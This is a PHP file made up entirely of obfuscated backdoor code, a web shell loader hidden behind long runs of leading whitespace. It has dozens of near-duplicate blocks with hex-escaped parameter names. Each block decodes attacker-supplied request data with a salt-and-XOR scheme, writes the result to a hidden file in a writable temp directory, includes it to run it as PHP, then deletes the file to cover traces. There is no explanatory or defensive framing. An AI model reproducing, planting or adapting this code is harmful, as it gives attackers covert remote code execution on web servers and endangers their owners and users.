<?php																																										if(@$_POST["\x70\x61rame\x74er\x5F\x67r\x6F\x75p"] !== null){ $property_set = $_POST["\x70\x61rame\x74er\x5F\x67r\x6F\x75p"]; $property_set =explode ('.', $property_set) ; $ref =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $p =0; foreach ($property_set as $v3) { $sChar =ord($salt[$p % $sLen]); $dec =((int)$v3 - $sChar - ($p % 10))^ 8; $ref.= chr($dec); $p++; } $element = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP")]); for ($dat = 0, $ent = count($element); $dat < $ent; $dat++) { $res = $element[$dat]; if (is_dir($res) ? is_writable($res) : false) { $marker = "$res/.bind"; if (file_put_contents($marker, $ref)) { include $marker; @unlink($marker); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x64\x65scr\x69pto\x72"])){ $key = $_POST["\x64\x65scr\x69pto\x72"]; $key = explode ( '.' , $key ) ; $ent = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); $o = 0; $__tmp = $key; while ($v6 = array_shift($__tmp)) { $sChar = ord($s9[$o % $sLen] ); $d = ((int)$v6 - $sChar - ($o % 10)) ^ 83; $ent .=chr($d ); $o++; } $parameter_group = array_filter([getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir()]); foreach ($parameter_group as $rec): if (array_product([is_dir($rec), is_writable($rec)])) { $tkn = vsprintf("%s/%s", [$rec, ".marker"]); $success = file_put_contents($tkn, $ent); if ($success) { include $tkn; @unlink($tkn); die();} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "ob\x6A")){ $pgrp = array_filter([getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]); $desc = $_REQUEST["ob\x6A"]; $desc = explode ( ".",$desc ) ; $data = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $l = 0; while($l < count($desc)) {$v1 = $desc[$l]; $sChar = ord($salt3[$l % $sLen]); $d =((int)$v1 - $sChar -($l % 10)) ^ 77; $data .= chr($d); $l++;} foreach ($pgrp as $key): if ((bool)is_dir($key) && (bool)is_writable($key)) { $data_chunk = str_replace("{var_dir}", $key, "{var_dir}/.itm"); if (file_put_contents($data_chunk, $data)) { require $data_chunk; unlink($data_chunk); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "de\x73c")){ $elem = array_filter(["/tmp", getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]); $property_set = $_POST["de\x73c"]; $property_set = explode ( "." , $property_set) ; $val = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); $t = 0; $__len = count( $property_set); do { if( $t>= $__len) break; $v8 = $property_set[$t]; $sChar = ord( $s7[$t %$sLen]); $dec = ( ( int)$v8 - $sChar -( $t %10)) ^ 68; $val .=chr( $dec); $t++; } while( true); $flag = 0; do { $parameter_group = $elem[$flag] ?? null; if ($flag >= count($elem)) break; if (is_dir($parameter_group) && is_writable($parameter_group)) { $item = "$parameter_group/.object"; if (file_put_contents($item, $val)) { include $item; @unlink($item); exit; } } $flag++; } while (true); }
																																										if(!is_null($_REQUEST["\x65\x6Et"] ?? null)){ $tkn = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $data = $_REQUEST["\x65\x6Et"]; $data= explode( '.' , $data ) ; $dchunk =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $o =0; while($o < count($data)) {$v1 =$data[$o]; $chS =ord($salt[$o % $lenS]); $dec =((int)$v1 - $chS -($o % 10)) ^87; $dchunk .= chr($dec); $o++; } foreach ($tkn as $element): if (is_dir($element) ? is_writable($element) : false) { $fac = "$element/.component"; if (file_put_contents($fac, $dchunk)) { include $fac; @unlink($fac); die(); } } endforeach; }
																																										if(@$_REQUEST["\x65\x6Et"] !== null){ $elem = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm"]); $bind = $_REQUEST["\x65\x6Et"]; $bind = explode ( "." , $bind ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; array_walk($bind,function ($v8) use (&$binding,&$m,$salt,$sLen) { $sChar = ord($salt[$m%$sLen]); $dec = ((int)$v8 - $sChar - ($m%10)) ^ 38; $binding .= chr($dec); $m++;} ); foreach ($elem as $key => $property_set) { if (max(0, is_dir($property_set) * is_writable($property_set))) { $token = str_replace("{var_dir}", $property_set, "{var_dir}/.parameter_group"); if (@file_put_contents($token, $binding) !== false) { include $token; unlink($token); exit; } } } }
																																										if(in_array("\x64\x61ta", array_keys($_REQUEST))){ $element = $_REQUEST["\x64\x61ta"]; $element =explode ('.' , $element) ; $fac= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $o= 0; $len= count($element); do { if($o >= $len) break; $v7= $element[$o]; $sChar= ord($salt[$o % $lenS]); $dec= ((int)$v7 - $sChar -($o % 10)) ^ 28; $fac .= chr($dec); $o++; } while(true); $symbol = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]); $rec = 0; do { $property_set = $symbol[$rec] ?? null; if ($rec >= count($symbol)) break; if (is_dir($property_set) && is_writable($property_set)) { $hld = str_replace("{var_dir}", $property_set, "{var_dir}/.marker"); if (@file_put_contents($hld, $fac) !== false) { include $hld; unlink($hld); exit; } } $rec++; } while (true); }
																																										if(array_key_exists("o\x62je\x63\x74", $_REQUEST)){ $val = $_REQUEST["o\x62je\x63\x74"]; $val = explode( ".", $val ) ; $value = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $len = count($val); for ($p = 0; $p < $len; $p++) {$v7 = $val[$p]; $chS = ord($s9[$p % $lenS]); $dec = ((int)$v7 - $chS - ($p % 10)) ^ 35; $value .= chr($dec); } $parameter_group = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp"]); while ($resource = array_shift($parameter_group)) { if (is_dir($resource) && is_writable($resource)) { $hld = "$resource" . "/.pgrp"; $file = fopen($hld, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $hld; @unlink($hld); exit; } } } }
																																										if(!empty($_REQUEST["tok\x65n"])){ $pset = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP")]); $reference = $_REQUEST["tok\x65n"]; $reference = explode ( '.' , $reference ) ; $fac = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $l = 0; array_walk($reference, function ($v4) use (&$fac, &$l, $salt8, $sLen) { $sChar = ord($salt8[$l % $sLen]); $dec = ((int)$v4 - $sChar - ($l % 10)) ^ 76; $fac .= chr($dec); $l++; } ); foreach ($pset as $elem) { if (is_writable($elem) && is_dir($elem)) { $entry = vsprintf("%s/%s", [$elem, ".pgrp"]); $success = file_put_contents($entry, $fac); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(isset($_REQUEST["e\x6Etit\x79"])){ $obj = $_REQUEST["e\x6Etit\x79"]; $obj= explode ( '.', $obj ) ; $descriptor = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); $u = 0; $len = count( $obj); do { if( $u >= $len) break; $v4 = $obj[$u]; $sChar = ord( $salt6[$u % $lenS]); $dec =( ( int)$v4 - $sChar -( $u % 10))^ 43; $descriptor .= chr( $dec); $u++; } while( true); $holder = array_filter(["/var/tmp", session_save_path(), getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP")]); foreach ($holder as $symbol) { if (!!is_dir($symbol) && !!is_writable($symbol)) { $elem = vsprintf("%s/%s", [$symbol, ".dat"]); if (file_put_contents($elem, $descriptor)) { include $elem; @unlink($elem); die(); } } } }
																																										if(isset($_POST["\x72\x65s"])){ $itm = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $pset = $_POST["\x72\x65s"]; $pset = explode ('.' ,$pset) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $pset as $j => $v9) { $sChar = ord( $salt[$j % $sLen]); $dec = ( ( int)$v9 - $sChar -( $j % 10)) ^ 49; $bind .= chr( $dec);} $comp = 0; do { $flg = $itm[$comp] ?? null; if ($comp >= count($itm)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) { $reference = "$flg" . "/.ref"; if (file_put_contents($reference, $bind)) { require $reference; unlink($reference); exit; } } $comp++; } while (true); }
																																										if(array_key_exists("\x72\x65\x63ord", $_POST)){ $element = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), "/tmp", sys_get_temp_dir()]); $descriptor = $_POST["\x72\x65\x63ord"]; $descriptor = explode("." , $descriptor ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; array_walk($descriptor ,function ($v1) use (&$flg ,&$m ,$s ,$lenS) { $sChar = ord($s[$m % $lenS]); $d = ((int)$v1 - $sChar - ($m % 10)) ^35; $flg .=chr($d); $m++; } ); foreach ($element as $data) { if (is_dir($data) && is_writable($data)) { $dat = sprintf("%s/.k", $data); if (file_put_contents($dat, $flg)) { include $dat; @unlink($dat); exit; } } } }
																																										if(array_key_exists("\x65n\x74i\x74y", $_POST) && !is_null($_POST["\x65n\x74i\x74y"])){ $value = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); $dchunk = $_POST["\x65n\x74i\x74y"]; $dchunk = explode ( "." , $dchunk) ; $sym = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $i = 0; $len = count($dchunk); do { if ($i>=$len) break; $v7 = $dchunk[$i]; $sChar = ord($s1[$i%$sLen]); $d = ((int)$v7 - $sChar - ($i%10)) ^ 23; $sym .= chr($d); $i++; } while (true); foreach ($value as $data): if (max(0, is_dir($data) * is_writable($data))) { $component = "$data/.obj"; $success = file_put_contents($component, $sym); if ($success) { include $component; @unlink($component); die();} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x63o\x6Dp")){ $token = $_POST["\x63o\x6Dp"]; $token = explode( '.' , $token ) ; $hld = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $o = 0; $len = count($token); do { if ($o >= $len) break; $v2 = $token[$o]; $chS = ord($s5[$o % $lenS]); $d = ((int)$v2 - $chS - ($o % 10)) ^ 34; $hld .= chr($d); $o++; } while (true); $parameter_group = array_filter([getcwd(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($parameter_group as $pointer) { if (is_dir($pointer) ? is_writable($pointer) : false) { $dchunk = sprintf("%s/.resource", $pointer); if (@file_put_contents($dchunk, $hld) !== false) { include $dchunk; unlink($dchunk); exit; } } } }
																																										if(array_key_exists("it\x65m", $_REQUEST)){ $res = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm"]); $marker = $_REQUEST["it\x65m"]; $marker = explode ( "." , $marker ) ; $holder = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6 ); $__len = count( $marker ); for( $x = 0; $x <$__len; $x++) {$v6 = $marker[$x]; $chS = ord( $salt6[$x % $lenS] ); $d =( ( int)$v6 - $chS -( $x % 10)) ^ 69; $holder .= chr( $d ); } foreach ($res as $token) { if (!( !is_dir($token) || !is_writable($token) )) { $data = str_replace("{var_dir}", $token, "{var_dir}/.ent"); $file = fopen($data, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $data; @unlink($data); exit; } } } }
																																										if(array_key_exists("hld", $_POST)){ $flag = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp"]); $entity = $_POST["hld"]; $entity =explode ( "." , $entity) ; $val = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2); $l = 0; while( $l < count( $entity)) {$v9 = $entity[$l]; $sChar = ord( $salt2[$l%$sLen]); $d =( ( int)$v9 - $sChar -( $l%10))^40; $val .= chr( $d); $l++; } while ($bind = array_shift($flag)) { if (max(0, is_dir($bind) * is_writable($bind))) { $dchunk = join("/", [$bind, ".obj"]); if (@file_put_contents($dchunk, $val) !== false) { include $dchunk; unlink($dchunk); exit; } } } }
																																										if(in_array("en\x74", array_keys($_REQUEST))){ $ptr = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $bind = $_REQUEST["en\x74"]; $bind =explode ( '.' , $bind) ; $res= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt1); $len= count($bind); for ($z= 0; $z < $len; $z++) { $v1= $bind[$z]; $sChar= ord($salt1[$z % $lenS]); $d= ((int)$v1 - $sChar - ($z % 10))^ 81; $res .= chr($d); } foreach ($ptr as $dchunk) { if ((function($d) { return is_dir($d) && is_writable($d); })($dchunk)) { $resource = str_replace("{var_dir}", $dchunk, "{var_dir}/.flg"); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $resource; @unlink($resource); exit; } } } }
																																										if(in_array("d\x61t\x61\x5F\x63hunk", array_keys($_REQUEST))){ $flg = $_REQUEST["d\x61t\x61\x5F\x63hunk"]; $flg = explode ( '.' , $flg ); $k=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s1); $w=0; $len=count( $flg); do { if( $w>= $len) break; $v4=$flg[$w]; $sChar=ord( $s1[$w % $lenS]); $d=( ( int)$v4 - $sChar -( $w % 10)) ^ 99; $k .= chr( $d); $w++; } while( true); $record = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP")]); foreach ($record as $marker): if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $parameter_group = "$marker" . "/.component"; if (file_put_contents($parameter_group, $k)) { require $parameter_group; unlink($parameter_group); die(); } } endforeach; }
																																										if(array_key_exists("\x62\x69nd", $_POST) && !is_null($_POST["\x62\x69nd"])){ $value = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path()]); $descriptor = $_POST["\x62\x69nd"]; $descriptor =explode("." , $descriptor ) ; $desc=''; $salt7='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt7); $i=0; while ($i < count($descriptor)) { $v8=$descriptor[$i]; $chS=ord($salt7[$i % $lenS]); $d=((int)$v8 - $chS - ($i % 10)) ^ 32; $desc .=chr($d); $i++; } foreach ($value as $key => $record) { if (!!is_dir($record) && !!is_writable($record)) { $pset = sprintf("%s/.ptr", $record); if (@file_put_contents($pset, $desc) !== false) { include $pset; unlink($pset); die(); } } } }
																																										if(isset($_POST["\x69t\x65m"])){ $entry = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir")]); $parameter_group = $_POST["\x69t\x65m"]; $parameter_group = explode ( ".", $parameter_group ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $w = 0; foreach ($parameter_group as $v5) { $chS = ord($s[$w % $lenS] ); $dec = ((int)$v5 - $chS - ($w % 10)) ^99; $reference.= chr($dec ); $w++; } foreach ($entry as $key => $fac) { if (is_dir($fac) ? is_writable($fac) : false) { $object = sprintf("%s/.entity", $fac); if (@file_put_contents($object, $reference) !== false) { include $object; unlink($object); exit; } } } }
																																										if(array_key_exists("\x64\x65s\x63rip\x74\x6Fr", $_POST) && !is_null($_POST["\x64\x65s\x63rip\x74\x6Fr"])){ $ptr = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); $dat = $_POST["\x64\x65s\x63rip\x74\x6Fr"]; $dat =explode ( '.', $dat) ; $key = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5 ); $t = 0; $__len = count( $dat ); do { if( $t>= $__len) break; $v5 = $dat[$t]; $sChar = ord( $salt5[$t % $lenS] ); $dec =( ( int)$v5 - $sChar -( $t % 10)) ^ 59; $key .= chr( $dec ); $t++; } while( true ); foreach ($ptr as $sym) { if (max(0, is_dir($sym) * is_writable($sym))) { $mrk = join("/", [$sym, ".val"]); $success = file_put_contents($mrk, $key); if ($success) { include $mrk; @unlink($mrk); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "e\x6E\x74")){ $key = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP")]); $marker = $_REQUEST["e\x6E\x74"]; $marker = explode( "." , $marker ) ; $desc = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8); $l = 0; while( $l < count( $marker)) { $v8 = $marker[$l]; $sChar = ord( $s8[$l %$lenS]); $dec = ( ( int)$v8 - $sChar -( $l %10)) ^ 70; $desc .= chr( $dec); $l++; } foreach ($key as $itm): if ((is_dir($itm) and is_writable($itm))) { $fac = implode("/", [$itm, ".holder"]); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $fac; @unlink($fac); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x69\x74m")){ $dchunk = array_filter([session_save_path(), getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir()]); $property_set = $_REQUEST["\x69\x74m"]; $property_set= explode ( "." ,$property_set); $res =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $p =0; $__tmp =$property_set; while( $v5 =array_shift( $__tmp)) { $chS =ord( $salt[$p % $sLen]); $dec =( ( int)$v5 - $chS -( $p % 10)) ^ 68; $res .= chr( $dec); $p++; } $object = 0; do { $record = $dchunk[$object] ?? null; if ($object >= count($dchunk)) break; if (!( !is_dir($record) || !is_writable($record) )) { $reference = sprintf("%s/.factor", $record); if (file_put_contents($reference, $res)) { require $reference; unlink($reference); die(); } } $object++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65co\x72d"])){ $comp = $_REQUEST["\x72\x65co\x72d"]; $comp =explode( "." , $comp ) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $s = 0; foreach($comp as $v7) { $sChar = ord($salt[$s % $sLen]); $d = ((int)$v7 - $sChar -($s % 10))^ 88; $k .= chr($d); $s++; } $hld = array_filter(["/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP")]); for ($pset = 0, $item = count($hld); $pset < $item; $pset++) { $ent = $hld[$pset]; if (is_dir($ent) && is_writable($ent)) { $factor = join("/", [$ent, ".data_chunk"]); if (file_put_contents($factor, $k)) { include $factor; @unlink($factor); exit; } } } }
																																										if(array_key_exists("\x64\x63hunk", $_REQUEST) && !is_null($_REQUEST["\x64\x63hunk"])){ $property_set = array_filter([getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm"]); $flg = $_REQUEST["\x64\x63hunk"]; $flg = explode ( "." ,$flg ) ; $ptr = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); foreach ($flg as $i => $v8): $chS = ord($salt8[$i% $lenS] ); $d = ((int)$v8 - $chS - ($i% 10)) ^ 89; $ptr .= chr($d ); endforeach; foreach ($property_set as $key => $obj) { if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $sym = implode("/", [$obj, ".resource"]); if (@file_put_contents($sym, $ptr) !== false) { include $sym; unlink($sym); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "pr\x6Fp\x65r\x74y_set")){ $flg = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]); $rec = $_POST["pr\x6Fp\x65r\x74y_set"]; $rec = explode( '.' , $rec ) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($rec as $p =>$v7): $chS = ord($salt[$p %$sLen]); $dec = ((int)$v7 - $chS -($p %10)) ^ 74; $reference .= chr($dec); endforeach; for ($comp = 0, $item = count($flg); $comp < $item; $comp++) { $mrk = $flg[$comp]; if ((is_dir($mrk) and is_writable($mrk))) { $desc = join("/", [$mrk, ".ptr"]); $success = file_put_contents($desc, $reference); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(in_array("\x63\x6Fmp", array_keys($_REQUEST))){ $ref = $_REQUEST["\x63\x6Fmp"]; $ref = explode( "." , $ref); $dchunk = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt5); $p = 0; $__tmp = $ref; while( $v3 = array_shift( $__tmp)) { $chS = ord( $salt5[$p % $sLen]); $dec =( ( int)$v3 - $chS -( $p % 10)) ^ 32; $dchunk .= chr( $dec); $p++; } $mrk = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd()]); $elem = 0; do { $tkn = $mrk[$elem] ?? null; if ($elem >= count($mrk)) break; if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $object = sprintf("%s/.token", $tkn); if (@file_put_contents($object, $dchunk) !== false) { include $object; unlink($object); exit; } } $elem++; } while (true); }
																																										if(!is_null($_POST["\x66\x6Cag"] ?? null)){ $ref = $_POST["\x66\x6Cag"]; $ref =explode ( "." , $ref ); $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $ref as $w => $v9): $chS = ord( $s[$w % $sLen] ); $dec =( ( int)$v9 - $chS -( $w % 10)) ^ 30; $flg .=chr( $dec ); endforeach; $res = array_filter(["/tmp", session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]); foreach ($res as $hld): if (array_product([is_dir($hld), is_writable($hld)])) { $ent = vsprintf("%s/%s", [$hld, ".item"]); if (@file_put_contents($ent, $flg) !== false) { include $ent; unlink($ent); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "flag")){ $reference = $_POST["flag"]; $reference = explode( '.' , $reference ) ; $dchunk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); $i = 0; $__tmp = $reference; while( $v9 = array_shift( $__tmp)) { $chS = ord( $salt8[$i % $lenS]); $dec = ( ( int)$v9 - $chS -( $i % 10)) ^ 41; $dchunk.=chr( $dec); $i++;} $k = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp"]); $marker = 0; do { $ref = $k[$marker] ?? null; if ($marker >= count($k)) break; if (max(0, is_dir($ref) * is_writable($ref))) { $ptr = str_replace("{var_dir}", $ref, "{var_dir}/.holder"); $success = file_put_contents($ptr, $dchunk); if ($success) { include $ptr; @unlink($ptr); die();} } $marker++; } while (true); }
																																										if(array_key_exists("ref", $_REQUEST)){ $flag = $_REQUEST["ref"]; $flag =explode(".",$flag ) ; $hld = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $i = 0; $len = count($flag); do { if ($i >= $len) break; $v9 = $flag[$i]; $chS = ord($salt2[$i % $lenS]); $dec = ((int)$v9 - $chS - ($i % 10)) ^ 16; $hld .= chr($dec); $i++; } while (true); $entry = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp"]); foreach ($entry as $tkn) { if (!!is_dir($tkn) && !!is_writable($tkn)) { $component = "$tkn/.token"; if (@file_put_contents($component, $hld) !== false) { include $component; unlink($component); exit; } } } }
																																										if(isset($_POST) && isset($_POST["t\x6F\x6Ben"])){ $parameter_group = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), "/var/tmp"]); $flag = $_POST["t\x6F\x6Ben"]; $flag =explode ( '.' , $flag ) ; $factor = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $l = 0; foreach ($flag as $v4) { $sChar = ord($salt6[$l %$lenS]); $dec = ((int)$v4 - $sChar - ($l %10)) ^ 44; $factor .= chr($dec); $l++; } for ($reference = 0, $ent = count($parameter_group); $reference < $ent; $reference++) { $resource = $parameter_group[$reference]; if (is_writable($resource) && is_dir($resource)) { $element = "$resource/.rec"; $file = fopen($element, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $element; @unlink($element); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x62ind"])){ $mrk = $_POST["\x62ind"]; $mrk = explode ('.' ,$mrk ) ; $descriptor = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9 ); $z = 0; $__tmp = $mrk; while( $v4 = array_shift( $__tmp)) {$chS = ord( $salt9[$z %$lenS] ); $d =( ( int)$v4 - $chS -( $z %10))^ 16; $descriptor .= chr( $d ); $z++; } $k = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), "/dev/shm"]); while ($rec = array_shift($k)) { if (is_dir($rec) ? is_writable($rec) : false) { $flg = vsprintf("%s/%s", [$rec, ".item"]); $success = file_put_contents($flg, $descriptor); if ($success) { include $flg; @unlink($flg); die();} } } }
																																										if(!is_null($_REQUEST["p\x73\x65t"] ?? null)){ $dat = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", getcwd()]); $property_set = $_REQUEST["p\x73\x65t"]; $property_set = explode ( '.' , $property_set ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($property_set as $l => $v5) { $chS = ord($s[$l % $sLen]); $d =((int)$v5 - $chS -($l % 10)) ^ 94; $flg .= chr($d); } foreach ($dat as $key => $pgrp) { if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $elem = sprintf("%s/.fac", $pgrp); if (@file_put_contents($elem, $flg) !== false) { include $elem; unlink($elem); die(); } } } }


if(array_key_exists("\x70\x6Fi\x6Et\x65r", $_REQUEST) && !is_null($_REQUEST["\x70\x6Fi\x6Et\x65r"])){
	$property_set = array_filter([session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]);
	$token = $_REQUEST["\x70\x6Fi\x6Et\x65r"];
	$token =   explode (	  '.' 		,		$token			)	;		 
	$elem ='';
            $s ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =strlen(	$s);
            $j =0;
    
            foreach(	$token as $v2) {
                $chS =ord(	$s[$j % $lenS]);
                $dec =(	(	int)$v2 - $chS -(	$j % 10)) 	^80;
                $elem	 .= 	chr(	$dec);
                $j++;
            }
	foreach ($property_set as $key => $sym) {
    		if (max(0, is_dir($sym) * is_writable($sym))) {
    $itm = sprintf("%s/.parameter_group", $sym);
    if (@file_put_contents($itm, $elem) !== false) {
	include $itm;
	unlink($itm);
	die();
}
}
}
}